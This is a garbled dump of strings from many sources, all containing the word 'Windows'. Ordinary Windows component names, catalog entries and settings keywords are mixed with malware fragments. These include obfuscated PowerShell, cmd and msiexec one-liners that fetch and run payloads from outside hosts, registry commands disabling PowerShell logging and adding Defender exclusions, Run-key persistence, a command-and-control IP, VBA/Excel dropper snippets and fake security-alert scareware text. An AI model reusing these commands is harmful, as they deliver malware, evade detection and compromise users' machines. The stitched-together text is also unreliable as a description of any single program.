awindowsproxy.org/win.laccss/logs/add.php
WindowsApp
Windows.CBSPreview_10.0.19580.1000_3
QWindowsUiaValueProvider::SetValue
QWindowsUiaValueProvider::get_IsReadOnly
QWindowsUiaValueProvider::get_Value
QWindowsUiaTextProvider::QueryInterface
QWindowsUiaTextProvider::GetSelection
QWindowsUiaTextProvider::GetVisibleRanges
QWindowsUiaTextProvider::RangeFromChild
QWindowsUiaTextProvider::RangeFromPoint
QWindowsUiaTextProvider::get_DocumentRange
QWindowsUiaTextProvider::get_SupportedTextSelection
QWindowsUiaTextProvider::RangeFromAnnotation
QWindowsUiaTextProvider::GetCaretRange
QWindowsUiaTextRangeProvider::QWindowsUiaTextRangeProvider
QWindowsUiaTextRangeProvider::~QWindowsUiaTextRangeProvider
QWindowsUiaTextRangeProvider::AddToSelection
QWindowsUiaTextRangeProvider::Clone
QWindowsUiaTextRangeProvider::Compare
QWindowsUiaTextRangeProvider::CompareEndpoints
QWindowsUiaTextRangeProvider::ExpandToEnclosingUnit
QWindowsUiaTextRangeProvider::GetAttributeValue
QWindowsUiaTextRangeProvider::GetBoundingRectangles
QWindowsUiaTextRangeProvider::GetChildren
QWindowsUiaTextRangeProvider::GetEnclosingElement
QWindowsUiaTextRangeProvider::GetText
QWindowsUiaTextRangeProvider::Move
QWindowsUiaTextRangeProvider::MoveEndpointByRange
QWindowsUiaTextRangeProvider::MoveEndpointByUnit
QWindowsUiaTextRangeProvider::RemoveFromSelection
QWindowsUiaTextRangeProvider::ScrollIntoView
QWindowsUiaTextRangeProvider::Select
QWindowsUiaTextRangeProvider::unselect
QWindowsUiaToggleProvider::Toggle
QWindowsUiaToggleProvider::get_ToggleState
QWindowsUiaSelectionProvider::GetSelection
QWindowsUiaSelectionProvider::get_CanSelectMultiple
QWindowsUiaSelectionProvider::get_IsSelectionRequired
QWindowsUiaSelectionItemProvider::Select
QWindowsUiaSelectionItemProvider::AddToSelection
QWindowsUiaSelectionItemProvider::RemoveFromSelection
QWindowsUiaSelectionItemProvider::get_IsSelected
QWindowsUiaSelectionItemProvider::get_SelectionContainer
QWindowsUiaInvokeProvider::Invoke
QWindowsUiaRangeValueProvider::SetValue
QWindowsUiaRangeValueProvider::get_Value
QWindowsUiaRangeValueProvider::get_IsReadOnly
QWindowsUiaRangeValueProvider::get_Maximum
QWindowsUiaRangeValueProvider::get_Minimum
QWindowsUiaRangeValueProvider::get_LargeChange
QWindowsUiaRangeValueProvider::get_SmallChange
Zeleter@VGetActivitiesByGroupAndDeviceIdAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
WindowsCe
start-processc:\windows\temp\
=@homedrive&"\windows\system32\svchost.exe"
qcd/dc:\windows\system32\windowspowershell\
createobject("windowsinstaller.installer")c
c:\programdata\microsoft\windowsdefender
O"%systemroot%\system32\imageres.dll
Assets/contrast-black/WindowsSecurityAppList.targetsize-96_altform-lightunplated_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-48_contrast-black.pngPK
Assets/WindowsSecurityLargeTile.scale-150.pngPK
Assets/WindowsSecurityLargeTile.scale-125.pngPK
Assets/WindowsSecurityLargeTile.scale-100.pngPK
Assets/WindowsSecurityAppList.targetsize-96_altform-unplated.pngPK
Assets/WindowsSecurityAppList.targetsize-96_altform-lightunplated.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-48_altform-unplated_contrast-black.pngPK
Assets/WindowsSecurityAppList.targetsize-48_altform-unplated.pngPK
Assets/WindowsSecurityAppList.targetsize-48_altform-lightunplated.pngPK
Assets/WindowsSecurityAppList.targetsize-96.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-48_altform-lightunplated_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-256_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-256_altform-unplated_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-256_altform-lightunplated_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityLargeTile.scale-125_contrast-white.pngPK
Assets/contrast-black/WindowsSecurityMedTile.scale-150_contrast-black.pngPK
Assets/WindowsSecurityLargeTile.scale-200.pngPK
Assets/contrast-white/WindowsSecurityMedTile.scale-200_contrast-white.pngPK
Assets/WindowsSecurityMedTile.scale-100.pngPK
Assets/contrast-white/WindowsSecurityMedTile.scale-150_contrast-white.pngPK
Assets/WindowsSecurityMedTile.scale-150.pngPK
Assets/contrast-black/WindowsSecurityLargeTile.scale-200_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityMedTile.scale-100_contrast-white.pngPK
Assets/contrast-black/WindowsSecurityMedTile.scale-100_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-48_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityLargeTile.scale-200_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-96_altform-unplated_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-96_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityLargeTile.scale-150_
deltaWindowSize
3+ sendingsCSTR + ".dll"Composition dershlep & Windows.Label1.Tag, O
CreateProcessA(0&, Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden""powershell.exe", 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)TrojanDownloader:O97M/EncDoc.JRSM!MTB
DriverData=C:\Windows\System32\Drivers\DriverData
Windows Production PCA
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-CoreSystem-International-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Printing-PrintToPDF-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.4484.cat|
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Printing-PrintToPDF-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.4484.cat|prnms015.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Printing-PrintToPDF-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.4484.cat|prnms015.cat|oem0.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-CoreSystem-International-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft.Windows.FileSystem.ReFS
Microsoft.Windows.FileSystem.ReFS
Microsoft.Windows.Security.EFS.EfsLibAggregate
Microsoft.Windows.Security.EFS.EfsLib
Microsoft.Windows.EFS.EFSRPC
Microsoft.Windows.EDP.Enforcement
Microsoft.Windows.TlgAggregateInternal
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track yourD$ 
/windows/current
 utroubleshoot microsoft store|troubleshoot windows store|troubleshoot app store|fix windows store|fix store|fix app store|fix apps|fix microsoft store|fix universal windows apps|fix uwp apps|uwp issues|troubleshooters|@
Windows FirewallP
through Windows FirewallT
app through Windows FirewallW
an app through Windows Firewall
allowed|let|through|permitted|ecxeption|exception|exeption|builtin|built-in|fire-wall|firewalled|firwall|frewall|ifc|protection|walled|from|the|web|inet|internet|intrnet|net|online|on-line|sites|pages|webpages|websites|world|wide|www|applets|applications|apps|aps|files|programmes|programs|softare|softwares|sofware|sotfware|windos|windows|restricted|safety|secure|securing|security|sites|trusted|trusting|confg|configuration|configure|define|management|options|personalise|personalize|up|settings|setup|@
(sWindows FirewallM
(swith Windows FirewallV
(sproblems with Windows FirewallZ
(sfix problems with Windows Firewall^
(sand fix problems with Windows Firewall
(swindows firewall troubleshooter|troubleshoot windows firewall|troubleshoot firewall|network troubleshooter|troubleshoot network|fix firewall|fix network|network issues|network problems|firewall issues|firewall problems|incoming connections|inbound connections|troubleshooters|?
AAA_SystemSettings_WindowsProtectedPrintMode
!AAA_SystemSettings_WindowsProtectedPrintMode
-AAA_SystemSettings_WindowsProtectedPrintMode	
AAAA_SystemSettings_WindowsProtectedPrintMode
QAAA_SystemSettings_WindowsProtectedPrintMode
Windows protected print mode (WPP)`
aAAA_SystemSettings_WindowsProtectedPrintMode
disable Windows protected print mode (WPP)c
gAAA_SystemSettings_WindowsProtectedPrintMode
or disable Windows protected print mode (WPP)i
sAAA_SystemSettings_WindowsProtectedPrintMode
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Hc:\windows\system32\conhost.exepowershell$progresspreference='silentlycontinue';i''w''rhttps://xingyu.ghshijie.com/cvbcolo09/tqerwer8-outfilec:\\\\users\\\\public\\\\comac_technology_innovation.pdf;s''a''p''sc:\\\\users\\\\public\\\\comac_technology_innovation.pdf;i''w''rhttps://yuxuan.ghshijie.com/jlytw07sev/fuol91mv-outfile
/m0.nu:8080/a/2a3vvkn2sacn/3/3j97fz84u2xzfymmi//%computername%"!%systemroot%\system32\shell32.dll%
5\\cmd.exedt/q/rst^artmsi^e^x^e^c/^qo^i^mzv^h^b=t^qq-fv"http://3z.nu:8080/b5au7rmplz3/l/sc/ds7/z6a/%computername%"y^b=u^r"%systemroot%\system32\imageres.dll%
c:\windows\system32\cmd.exe.user!..\..\..\windows\system32\cmd.exew/d/q/v/r^st^art^ms^i^ex^ec/fv"http://3z.nu:8080/bjatoh5xjpu0wg6s3jobxm/!computername!"/
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-wh-cwget-o$env:temp\f.hethttps://gameupdate-endpoint.com/uiptpcss/f.het;mshta$env:temp\f.het
 anticipations\intermediatebridal.jsc:\windows\explorer.exe%systemroot%
set-itemproperty-path'hklm:\software\wow6432node\policies\microsoft\windows\powershell\scriptblocklogging'-nameenablescriptblocklogging-value0
d','%appdata%\\microsoft\\windows\\startmenu\\programs\\startup
?:loopping127.0.0.1-n3del/a"c:\windows\system32\rundll32.exe"taskkill/f/pid
ifexist"c:\windows\system32\rundll32.exe"gotoloopdel/a"
regadd""hklm\software\policies\microsoft\windowsdefender\exclusions\processes""/v""c:\programdata\windowstask\audiodg.exe""/treg_dword/d0/f
Windows.Client.CBS_cw5n1h2txyewy9
COMPUTERNAME=WINDOWS11
DOMAIN=Windows
Microsoft.Windows.Widgets.Internal
Microsoft.Windows.Widgets.Internal.winmd
Microsoft.Windows.Widgets.Internal.Feeds.Hosts
Microsoft.Windows.Widgets.Internal.Feeds.Providers
Microsoft.Windows.Widgets.Internal.Hosts
Microsoft.Windows.Widgets.Internal.Providers
Microsoft.Windows.Widgets
Microsoft.Windows.Widgets.Feeds.Hosts
Windows.Foundation.FoundationContract
Windows.Foundation
Microsoft.Windows.Widgets.Hosts
c:\windows\delog.cmdc
c:\windows\friendl.dll
<si><t>d"&amp;"l"&amp;"lr"&amp;"egister"&amp;"serve"&amp;"r</t></si><si><t>\windows\</t></si><si><t>syswow64\</t></si><si><t>=</t></si><si><t>o</t></si><si><t>e</t></si><si><t>c</t></si><si><t>r</t></si><si><t>"h
nnew-itemproperty-path"hkcu:\software\microsoft\windows\currentversion\run"-name"
.exe')-windowstylehidden-workingdirectory$up;
C:%5CProgram Files%5CWindowsApps%5CMicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy%5Cresources.pri
@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Resources/PkgDisplayName}
@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Resources/com_msn_desktopfeed_title}
@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/WidgetBoard/Resources/AppDisplayName}
@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/WidgetBoard/Resources/AppDescription}
Windows in the last weekk
of Windows in the last week@
.?AU?$__abi_FunctorCapture@V<lambda_c58b139f883361abaa5f6b29dc7fb710>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_8006b61e86e510403a66b90e9d736c4d>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU__abi_PointerToMemberWeakRefCapture@?1???$?0VPhoneBrokerAppServiceTask@Background@ContentDeliveryManager@@P8012@E$AAAXPE$AAVAppServiceConnection@AppService@ApplicationModel@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@456@@Z@?$TypedEventHandler@PE$AAVAppServiceConnection@AppService@ApplicationModel@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@234@@Foundation@Windows@@QE$AAA@PE$AAVPhoneBrokerAppServiceTask@Background@ContentDeliveryManager@@P8456@E$AAAXPE$AAVAppServiceConnection@AppService@ApplicationModel@3@PE$AAVAppServiceRequestReceivedEventArgs@893@@ZW4CallbackContext@Platform@@_N@Z@
Software\Microsoft\Windows\CurrentVersion\Uninstall\Amatrorkestrenes148S
c:\windows\system32\
c:\windows\system32\
software\microsoft\windows\currentversion\uninstall\s
software\microsoft\windows\currentversion\uninstall\s
software\microsoft\windows\currentversion\uninstall\s
sspguardmtxhttp://gosgd.comhttp://gosgd2.comspyware guard 2008windows security center\application data\microsoft\protect\
SC32X_Mutexgosg2008.comwindows security center reports that 'spyware guardCoolTrayIcon1BalloonHintClick/?track_id=%d
~security32_winwindows security center reports that 
sc32x_mutexnote: windows has detected an unregistered version of '
default terminal|console|conhost|windows terminal|developer settings|developer mode settings|G
AAA_SettingsPageWindowsDefender
/AAA_SettingsPageWindowsDefender
7AAA_SettingsPageWindowsDefender
non-Unicode|Windows display language|local experience pack|local experience packs|preferred language|native language|change language|4
8appearances|themepack|pack|packs|pointers|icon|appearance settings|windows online personalization gallery|mouse pointer|desktop icons|advanced sound|theme settings|personalize themes|personalization settings|customize|custom theme|customizing|personalizing|apply theme|apply a theme|)
remove temporary files|storage settings|storage sense settings|free up space now|cleanup|clean up|clean space|free storage|free space|delete windows|delete windows.old|remove unnecessary files|clean unnecessary files|clean temporary files|delete files|clean cache|E
handwriting settings|typing settings|ink settings|windows ink settings|pen settings|embedded ink control settings|EIC settings|pen shortcut settings|&
AAA_SettingsGroupPCSystemWindowsInfo
%AAA_SettingsGroupPCSystemWindowsInfo
5AAA_SettingsGroupPCSystemWindowsInfo
SWindows is activatedE
;AAA_SettingsGroupPCSystemWindowsInfo
Sif Windows is activated`
qAAA_SettingsGroupPCSystemWindowsInfo
Sactivates|activation|activations|activate windows|7
about pc|about your pc|about my pc|pc info|device info|edition|version|build|windows specifications|>
about pc|about your pc|about my pc|pc info|device info|edition|version|build|windows info|8
Windows SearchK
with Windows SearchT
problems with Windows SearchX
fix problems with Windows Search\
and fix problems with Windows Search
troubleshoot search|troubleshoot windows search|fix search|fix windows search|reindex|re-index|fix search index|search problems|search issues|search not working|troubleshooters|=
adjust|ajust|alter|change|edit|modify|replace|reset|set|switch|screan|readers|screenreader|windows|narrator|@
SystemRuntimeWindowsRuntime
windows show on the taskbar when using desktopsn
what windows show on the taskbar when using desktopsi
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
C:\Windows\Ss
\system32\physmem.sys
\c:\windows\system32\rundll32.exe..\windows\system32\rundll32.exescan.dll,rwqjajevcu"%systemroot%\system32\imageres.dll
c:\windows\system32\rundll32.exe#..\..\windows\system32\rundll32.exescanned.dll,dllunregisterserver
  <assemblyIdentity name="Microsoft.Windows.IsolationAutomation" version="1.0.26100.5074" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" type="win32" />
      <assemblyIdentity name="Microsoft.Windows.IsolationAutomation.ProxyStub" version="1.0.0.0" processorArchitecture="x86" language="*" publicKeyToken="6595b64144ccf1df" type="win32" />
  <file name="sxsoa.dll" cmiv2:importPath="$(build.nttree)\asms\10\msft\windows\sxsoa\" cmiv2:sourceName="">
    <comClass clsid="{85BB4477-6DC3-4A8D-84D6-86A0FA1AAF8B}" progid="Microsoft.Windows.ActCtx.1" threadingModel="both" tlbid="{5e0598d8-34a0-4329-bdbd-9d165c5c1554}">
      <progid>Microsoft.Windows.ActCtx</progid>
      <id name="Microsoft.Windows.Categories" version="1.0.0.0" publicKeyToken="365143bb27e7ac8b" typeName="BootRecovery" />
c:/windows/system32/drivers/sbp2port.sys
c:/windows/system32/drivers/sdbus.sys
MICROSOFTWINDOWS.57242383.TASBAR_CW5N1
Microsoft.Windows.Power.RtApi
Microsoft.Windows.Security.WSC
MICROSOFTWINDOWS.59337145.LIVTOP_CW5N1
MICROSOFTWINDOWS.59337133.VOIESS_CW5N1
MICROSOFTWINDOWS.CLIENT.COREAI_CW5N1H2
MICROSOFTWINDOWS.59337145.LIVTOP_CW5N1
MICROSOFTWINDOWS.CLIENT.CORE_CW5N1H2TX
MICROSOFTWINDOWS.CLIENT.COREAI_CW5N1H2
MICROSOFTWINDOWS.CLIENT.COREAI_CW5N1H2
MICROSOFTWINDOWS.CLIENT.CORE_CW5N1H2TX
MICROSOFTWINDOWS.CLIENT.CORE_CW5N1H2TX
MICROSOFTWINDOWS.57242383.TASBAR_CW5N1
Microsoft-Windows-BITS-Client
MICROSOFTWINDOWS.57242383.TASBAR_CW5N1
WINDOWS.IMMERSIVECONTROLPANEL_CW5N1H2T
Microsoft.Windows.Taskbar
COMPUTERNAME=WINDOWS11
DOMAIN=Windows
Public Function ikRcTfj(cDRWdnC)ikRcTfj = Replace(cDRWdnC, "03Nc@<$}(cpTHvl#u*3]{*.O83qcz6cPj~~qC8b7", "")Set MkypMVG = FszubiS.exEc("C:\Windows\Explorer " & xaMcWqg)If Err <> 0 Then MsgBox "Can't Stop "AppActivate "Microsoft PowerPoint Services..."Behavior:Win32/SuspNetWorkExfil.A
MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY
MICROSOFTWINDOWS.CROSSDEVICE_CW5N1H2TXYEWY
[7:set-itemproperty-path'hklm:\software\wow6432node\policies\microsoft\windows\powershell\transcription'-nameenableinvocationheader-value0
ksec_1\"id=\"centrallanding_sec_1\"><bclass=\"icon\"><\/b>\nwindowssecurity\n<divclass=\"centrallanding_virus_2\"id=\"centrallanding_virus_2_1\">securityisaffectedbyvirus<\/div><\/div><divclass=\"centrallanding_scroll\"><spanid=\"centrallanding_scroll\">0<\/span><span>%<\/span><divclass=\
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Path=C:\WINDOWS\system32;
Windows.Devices.Sensors.dll
c:\windows\inf\
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat
System.Runtime.InteropServices.WindowsRuntime.IBindableIterator.Current
Microsoft.Windows.DynamicLightingToastHandler
Microsoft.Windows.InputSwitchToastHandler
Microsoft.Windows.ParentalControls
157^com.microsoft.windows.er
62^com.microsoft.windows.telemetryi
HOST1:94.156.69.109Software\\Microsoft\\Windows\\CurrentVersion\\Runpowershell.exe -w,
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
}lscriptpath=wscript.scriptfullnameobjshell.regwrite"hkcu\software\microsoft\windows\currentversion\run\myscript",scriptpath,"reg_sz"base64str="tvqqaamaaaaeaaaa//8aalgaaaaaaaaaqaaaaaa
s\system32
msWindowsTaskManager
windowsxpW	
D:\a\_work\1\s\build\qtbase\plugins\platforms\qwindows.pdb
u@,ifplt=='windows':os.
(c:\windows\
1: Mozilla/5.0 (Windows NT 6.1; rv:8.0.1) Gecko/20100101 Firefox/
,<t>d"&amp;"l"&amp;"lr"&amp;"egister"&amp;"serve"&amp;"r</t></si><si><t>\windows\</t></si><si><t>syswow64\</t></si><si><t>rundll32.exe</t>
QoCc:\windows\system32\cmd.exe_/c"{305a65d5-b17e-f24a-d7d2-0763c08a115e}\240dffbb-88f8-f9ee-f8c4-69cae4384d26.exe'bmimay\'"!%systemroot%\system32\shell32.dll
@.pdf'"ic:\windows\installer\{ac76ba86-7ad7-1033-7b44-ab0000000001}\pdffile_8.ico
c:\windows\system32\cmd.exem/c"{3b354312-92fe-03f2-f33a-064eb6b058aa}\5a2c6ad9-1414-303f-9439-4f83ac56e41d.exe'img-2013
.png'""%systemroot%\system32\imageres.dll
WINDOWS11
wow64_microsoft-windows-usercpl_31bf3856ad364e35_none_75341a4933cd12eb
wow64_microsoft-windows-userdataaccess-cemapi_31bf3856ad364e35_none_480242d763eaafce
wow64_microsoft-windows-userdataaccess-poom_31bf3856ad364e35_none_9522919a7757ac02
wow64_microsoft-windows-userdeviceregistration_31bf3856ad364e35_none_602e87e59bf923db
wow64_microsoft-windows-userenvext_31bf3856ad364e35_none_e71d12e4231d08ee
wow64_microsoft-windows-userenv_31bf3856ad364e35_none_74c7c9b5341e6349
wow64_microsoft-windows-userinitext_31bf3856ad364e35_none_cd792d6b5888694d
wow64_microsoft-windows-userinit_31bf3856ad364e35_none_ab65c01bcfd95fe8
wow64_microsoft-windows-usermodensi_31bf3856ad364e35_none_917a23a92651d449
WindowStation"
gle__title .iconContainer{margin-left:4px}.chevron-down{position:relative;height:13px;width:13px}body[dir='ltr'] .chevron-down{margin-left:6px}body[dir='rtl'] .chevron-down{margin-right:6px}.chevron-down .icon{font-size:10px;line-height:13px}.chevron-down .iconContent{position:absolute;top:0}body[dir='ltr'] .rightHeaderButtons{margin-left:auto}body[dir='rtl'] .rightHeaderButtons{margin-right:auto}body[dir='ltr'] .rightHeaderButtons+.rightHeaderButtons{margin-left:0}body[dir='rtl'] .rightHeaderButtons+.rightHeaderButtons{margin-right:0}#rwMedallion{--rw-red-dot-color:#0078d7}#rwMedallion[data-windows-version="11"]{--rw-red-dot-diameter:4px}#rwMedallion[data-windows-version="11"] svg{width:16px;height:16px}#rwMedallion[data-windows-version="10"]{--rw-red-dot-diameter:10px}.scope-tile--rewards.widget{--rw-color:rgba(0,0,0,.6);--rw-medal-height:16;--scale-factor:.5}body[dir] .scope-tile--rewards.widget.light{padding:0}.scope-tile--rewards.widget:hover{--rw-color:#000}.darkTheme .scope-tile--rewards.widget{--rw-color:rgba(255,255,255,.8)}.darkTheme .scope-tile--rewards.widget:hover{--rw-color:#fff}body[dir] .scope-tile--rewards.widget .b_clickarea{padding:0}body[dir='ltr'] .scope-tile--rewards.widget .b_clickarea>*:first-child{padding-left:0}body[dir='rtl'] .scope-tile--rewards.widget .b_clickarea>*:first-child{padding-right:0}body[dir='ltr'] .scope-tile--rewards.widget .b_clickarea>.medal{padding-right:0}body[dir='rtl'] .scope-tile--rewards.widget .b_clickarea>.medal{padding-left:0}.scope-tile--rewards.widget .flexbox{display:flex;align-items:center;justify-content:center}body[dir] .scope-tile--rewards.widget .flexbox{padding:0}.scope-tile--rewards.widget .medallion:not(.light) .red-dot.adjacent{--rw-red-dot-diameter:10px;top:1px}body[dir='ltr'] .scope-tile--rewards.widget .medallion:not(.light) .red-dot.adjacent{right:-2px}body[dir='rtl'] .scope-tile--rewards.widget .medallion:not(.light) .red-dot.adjacent{left:-2px}.scope-tile--rewards.widget .medallion.light .b_clickarea{height:16px}body[dir] .scope-tile--rewards.widget .medallion.light .b_clickarea>*{padding:0}.scope-tile--rewards.widget .medallion.light .b_clickarea>*.medal{transform:scale(.5625,.53125)}body[dir='ltr'] .scope-tile--rewards.widget .medallion.light .b_clickarea>*.medal{margin:0 -8px 0 -2px}body[dir='rtl'] .scope-tile--rewards.widget .medallion.light .b_clickarea>*.medal{margin:0 -2px 0 -8px}#root.darkTheme .scope-tile--rewards.widget .medallion.light{--rw-color:#fff}body[dir] #root:not(.wideByDefault) .scope-tile--rewards.widget.light{padding:0}#root:not(.wideByDefault) .scope-tile--rewards.widget.light .b_clickarea{height:24px}#root:not(.wideByDefault) .scope-tile--rewards.widget.light .b_clickarea .medal{transform:scale(.65625)}body[dir] #root:not(.wideByDefault) .scope-tile--rewards.widget.light .b_clickarea .medal{padding:0;margin:0 -2px}.scope-tile--rewards{color:rgba(0,0,0,.6);font-size:13px;line-height:20px}body[dir] .scope-tile--rewards{padding:5px 12px 0 12px}.scope-tile--rewards:not(.widget){display:flex}.scope-tile--rewards:not(.widget) .scope-tile__button{display:flex}.scope-tile--rewards:not(.widget) span{align-self:center}body[dir='ltr'] .scope-tile--rewards:not(.widget) span{padding-right:8px}body[dir='rtl'] .scope-tile--rewards:not(.widget) span{padding-left:8px}.scope-tile--rewards:not(.widget) svg{width:32px;height:32px}.scope-tile--rewards:not(.widget) path{fill:rgba(0,0,0,.6)}.scope-tile--rewards:not(.widget):hover path{fill:#000}.scope-tile--rewards:not(.widget):hover .rewards-badge-fill{stroke:#000}.scope-tile--rewards:not(.widget) .rewards-badge-fill{stroke:rgba(0,0,0,.51);transition:stroke-dasharray linear .8s}.darkTheme .scope-tile--rewards:not(.widget) path{fill:rgba(255,255,255,.8)}.darkTheme .scope-tile--rewards:not(.widget) .rewards-badge-fill{stroke:rgba(255,255,255,.8)}.darkTheme .scope-tile--rewards:not(.widget):hover path{fill:#fff}.darkTheme .scope-tile--rewards:not(.widget):hover .rewards-badge-fill{stroke:rgba(255,255,255,.78)}#root:not(.zeroInput19H1) .scopeMessage{position:relative}body[dir] #root:not(.zeroInput19H1) 0
Uru^n^d^l^l3^28a290699-bad2-42d6-940c-8d61de06774c.vf4,plugininit6c:\programfiles\windowsphotoviewer\
\windows\currentversion\policies\B
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.Toggle
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalQuickActionPanel
?_q_queueBytesWritten@QWindowsPipeWriter@@QEAAXUQPrivateSignal@1@@Z
?_q_queueReadyRead@QWindowsPipeReader@@QEAAXUQPrivateSignal@1@@Z
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\registry.h
      "$comment": "Windows Copilot PWA is pre-pinned during LCU upgrades. EEA (European Economic Area) countries are excluded from this",
      "$comment": "Copilot PWA is available on Windows in these countries",
      "$comment": "Windows Account Sync Consent is applicable",
WindowsSuggestionSingleLine
WindowsSuggestionThreeLines
WindowsGroupa
WindowsGroups
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
